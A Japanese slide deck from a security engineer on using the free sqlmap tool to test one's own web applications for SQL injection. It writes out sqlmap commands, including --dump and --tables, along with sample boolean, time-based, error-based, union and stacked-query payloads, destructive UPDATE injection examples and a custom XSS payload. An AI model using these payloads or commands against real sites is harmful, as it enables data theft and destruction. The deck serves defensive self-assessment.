フリーでできる
セキュリティ
Web編
SQL Mapを楽しもう
自己紹介
Twitter:abend@number3to4
本内容は、自身の管理外の環境に対して実施しないでください。
セキュリティエンジニア(Webをメインにやってます)
はじめに1
セキュリティの必要性はわかっちゃいるけど、お金かけられないから
問題の報告も聞こえないフリするしかない。
その結果、情報漏えい
ゴーストライターいないので、謝罪文も自分で用意しないといけない。
はじめに2
これまで、幾人ものこんな男たちを見てきた
そんな残念な人たちを減らす方法はないのか。
以前インフラン編を
こんな方向性に達したので、以前Nessusを使ったフリーでできる
セキュリティ対策ということでインフラ編をご紹介しました。
http://www.slideshare.net/abend_cve_9999_0001/nessus-27925695
<方針>
・セキュリティ会社にカネを払わず
・有償ツールや有償のサポートを使わず
・がんばらず
<結論>
自分で公開されているフリー(無料)なツールをかけてみる。
今回はWeb編
今日は、①の中でさらにSQLインジェクションに特化したツールを
紹介します。
IPA「安全なウェブサイトの作り方」より
Webアプリケーションの
項目はいろいろあるが。。。
SQL Injection1
外部から悪意のあるリクエストによりデータベースの不正操作が可能な
脆弱性
Application
Server
攻撃者
認証の迂回
情報漏洩
データの破壊・改竄
Database
どんな被害が?
・ 認証の迂回によるサービスの不正利用
・ データベースに保存された情報の漏洩
・ データの破壊や改竄
SQL Map1
SQLインジェクションに特化したツールで、検出(detecting)
や利用(exploiting)を目的としたもの。Python2.6 or 2.7
http://sqlmap.org/
./sqlmap.py --updateだとエラーになってしまったので
git clone https://github.com/sqlmapproject/sqlmap.git
で、最新版をGETするしかなかった。
SQL Map2
SQLインジェクションの検査と検出まで半自動的にやってくれるので
アプリケーションによっては、悪意はないが意図せずデータの 改ざん
変更が発生する可能性はあるので、要注意。
テスト環境での実施を強く推奨。
オプション結構あるんです
Target
Request
Optimization
Injection
Detection
Techniques
Fingerprint
Enumeration
Brute force
User-defined function injection
File system access
Operating system access
Windows registry access
General
Miscellaneous
オプションがいっぱいあって、グループ化されているが、
オプショングループだけでも、こんな感じ。
色々とカスタマイズもできるので、自分好みに変更可能。
どう動かすか
① 普通に動かす(GET)
「./sqlmap.py –u ”http://xxxxx/yyy?id=1”」
② POSTデータの場合は
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-data=”p1=value1&p2=value2”」
※この場合、「id」、「p1」、「p2」もSQLiしてしまう。
③ 特定のパラメータのみの場合は
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-data=”p1=value1&p2=value2” –p p1」
※「-p」オプションでターゲットを指定する(複数の場合はカンマ区切り)
④ Cookieを指定する場合は
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-cookie=”c1=value1;c2=value2”」
⑤ UserAgentを指定する場合は
「./sqlmap.py –u ”http://xxxx/yyy?id=1”--user-agent=”xxxx”」
⑥ 特定のヘッダを追加する場合は
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” –headers=”x:xny:y”」
※nで複数挿入可能
こんな使い方も1
トラブルや検査時間の軽減のために、データベースを指定しておく。
※ブラックボックスでの検査の場合はダメです。
--dbms=DBMS名
Firebird, Sybase, MySQL, Oracle, SQLite, PostgreSQL, IBM DB2, SAP
MaxDB, HSQLDB, Microsoft Access, Microsoft SQL Server
DBを特定することで検査するパターンが減ります。
検査するパターンが減るということは、トラブルが起こる可能性も
減ります。
こんな使い方も2
コンテンツがいっぱいあって、何がなんだか分からないのなら
--crawl=X Xは数字
Aタグを自動的にクローリングし、勝手にチェックしてくれるXを
大きい値にすれば、より深くチェックをできる可能性がある。
FORMタグも含める場合は、「--forms」を付加する必要あり。
※JavaScriptなどを用いてPOSTパラメータの値を生成している
場合は、うまく動作していなかった。
※入力値制限のあるパラメータ(数字以外の入力NGなど)が
存在する場合もダメ(だと思う)。
こんな使い方も3
通常、インタラクティブな動作をするが、--batchオプションで
質問に対してdefaultの回答をしてくれるようになる。
特定の質問に対して、default以外の回答をしたい場合は、--answer
オプションで回答を事前にセットしておくことで、チェックだけは
自動的に行うことも可能。
こんな使い方も4
Burpのログをくわせて、チェックすることもできるんです。
「./sqlmap.py –l=”パス”」
リクエストヘッダもそのまま使われるので、要注意。
Requestのみを保存して
それを食わせるだけ。
複数のリクエストも対応
可能。
こんな使い方も5
Basic認証、Digest認証、NTLM認証にも対応してます。
「./sqlmap.py –u ”http://xxxxxx/yyyy” –auth-type Basic –auth-cred
”username:password”」
ログが大事1
標準出力に関して
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” -v 6」
Verbosity level: 0-6 (default 1)
0はErrorがあったら出力。
1はINFO(どんなテストしたよっていう情報も)
2はDEBUG(どんなテストをスキップしたよっていう情報も)
3はPAYLOAD(具体的にどんなもを投げたかっていう情報も)
4はTRAFIC_OUT(生のリクエストも)
5はTRAFIC_IN(生のレスポンスヘッダも)
6はTRAFIC_IN(生のレスポンスボディも)
ログが大事2
「-v 4」以上で生のリクエストも標準出力される。
[00:21:38] [PAYLOAD] top') AND 7623=7623 AND ('hQBZ'='hQBZ
[00:21:38] [TRAFFIC OUT] HTTP request [#11]:
GET
/WithUS/MainController?Cmd=top%27%29%20AND%207623%3D7623%2
0AND%20%28%27hQBZ%27%3D%27hQBZ HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.80.143
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close
ログが大事3
なにが起こるか分からないから、リクエスト&レスポンスの
すべてのログは取った方がよい。
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” -t ログ名 –batch > チェック結果」
「-t」オプションでリクエスト&レスポンスがログ出力される
ので、 「-t」オプションさえちゃんとつけていれば、「-v」
オプションは3でいいのでは。
チェック結果に関して、リダイレクトでいいが「--batch」
オプションつけないと、インタラクティブだと戻ってこない。
なぜログが大事なのか1
チェックする内容によっては、データが消えたり、サービス停止
など予期しない事態が発生する可能性もあり、ちゃんとログは保全
しよう。
不測の事態が発生した場合でも、あとで把握できるようにする必要
がある。なぜなら・・・
なぜログが大事なのか2
まずいパターン①
UPDATE table SET password = ’ xxx’ WHERE id = 1 OR 1 = 1
「or」を使うと全員のパスワードが「xxx」になってしまう。
まずいパターン②
UPDATE table SET password = ’ xxx’ WHERE flg = 1;SELECT 0;-- AND id = 1
複文やコメントアウトした場合に、後続の条件が評価されないため、
「flg」が1であるユーザのパスワードが「xxx」になってしまう。
後が評価されない
なので、テスト環境での実施を推奨。
バックアップもちゃんと取っておこう。
禿しく注意しよう
「--risk」でリスクのある(または少ない)パターンで検出するように
指定ができる。
「--risk 3」を気軽に使うのは
「--risk 1」の場合(default)
Innocuous(ほんとか?)のパターンで実施
「--risk 3」の場合
risk 2にリスクの高いor-based SQLが追加される。
「--risk 2」の場合
risk 1に時間がかかるtime-based SQLが追加される。
こんなグルーピング
チェックするパターンは、6分類
・Inline query
・Boolean-based blind
・Time-based blind
・Error-based
・Union query
・Stack queries
こんなグルーピング
・Inline query
(SELECT CONCAT(0x716d7a6d71,(SELECT (CASE WHEN (5543=5543) THEN 1 ELSE 0 END)),0x717a716371))
qmzmqとqzqcqが文字連結されるか評価
・Boolean-based blind
' AND 4908=2320 AND 'TFah'='TFah
文字リテラル、数字リテラルに対応した条件式を評価
・Time-based blind
' AND SLEEP(5) AND 'ybNW'='ybNW
スリープなどの時間変化を評価
各分類の投げているものを一例抜粋
こんなグルーピング
・Error-based
' AND (SELECT 4789 FROM(SELECT COUNT(*),CONCAT(0x7173757271,(SELECT (CASE WHEN (4789=4789)
THEN 1 ELSE 0 END)),0x716b686971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
GROUP BY x)a) AND 'aAGw'='aAGw
エラー発生を評価
・ Union query
') UNION ALL SELECT NULL,NULL,NULL#
Union Selectを評価
・ Stack queries
'; SELECT SLEEP(5)--
複文を評価
モロ画像
① テーブルの一覧が出力される
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” --tables」
② データが出力される
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” --dump」
違う観点で1
xml/payload.xmlにチェック値が定義されているので、ここに
SQLi以外をセットすることで、別な項目もチェックできるのでは?
っていうことで、以下を追加してみた。
<!-- XSS Test -->
<test>
<title>XSS Test</title>
<stype>1</stype>
<level>1</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector></vector>
<request>
<payload><![CDATA["><script>alert([RANDNUM])</script>]]></payload>
</request>
<response>
<comparison></comparison>
</response>
</test>
違う観点で2
結果は、
[19:28:09] [INFO] testing 'XSS Test'
[19:28:09] [PAYLOAD] 1) None AND (5500=5500
[19:28:09] [PAYLOAD] 1) "><script>alert(7187)</script> AND
(2926=2926
[19:28:09] [PAYLOAD] 1) None AND (8172=8172
[19:28:10] [PAYLOAD] 1 None
[19:28:10] [PAYLOAD] 1 "><script>alert(7187)</script>
[19:28:10] [PAYLOAD] 1 None
[19:28:10] [PAYLOAD] 1 None-- MkEq
[19:28:10] [PAYLOAD] 1 "><script>alert(7187)</script>-- Xwmd
[19:28:11] [PAYLOAD] 1 None-- PtGV
[19:28:11] [PAYLOAD] 1') None AND ('VUxP'='VUxP
違う観点で3
それっぽいが、あんまりうまくいってない。
詳細仕様を確認する必要がありそう。
SQLiのためのツールで別項目をチェックさせる診断士が、かよわき
子羊ならば、SQL Mapは脆弱なサイトの代弁者なのか。
SQLiからの卒業
もっとがんばれば、他の項目をいい感じにチェックできるのでは。
どこでもSQLi1
Android端末からもInjectできる時代に突入。
どこでもSQLi2
オプションの設定がしやすい。
どこでもSQLi3
どうやるのか。
ポチポチ押してみた。
どこでもSQLi4
いきなり、ぶっこみ始めた。確認とかないんかい。
※キャプチャのため、自身の環境で取り直してます。
こうやってやるんです
いきなりInjectをするなんて、脆弱・即・斬。
牙突零式並みのゼロ距離射程。
危険なので、マネしないで。
さいごに
こんな場合にチェックできないまたは漏れてしまうので、要注意。
すべてを見つけることができないので、ホワイトボックスなどの別な
手法と組み合わせることを推奨します。
④ 新しい攻撃手法でないと検知できない場合
※自分で作るか更新を待つ必要が出てくる
③ SQL Mapの検出ロジックに不備がある場合
② 特定のパラメータの値を変更するとセッションが壊れてしまう場合
※パラメータの特定をして、対象外にすればチェックはできる
① CAPTCHAやワンタイムトークンなど毎回異なる値を送信しない
といけない場合
④ 不適切なエンコードされた文字列を悪用したパターンでしか
発現しない場合(SQL Mapでは試していないので多分)
※詳細はIPAの安全なSQLの呼び出し方 付録を参照願います。

フリーでできるセキュリティWeb編(SQLMあpを楽しもう)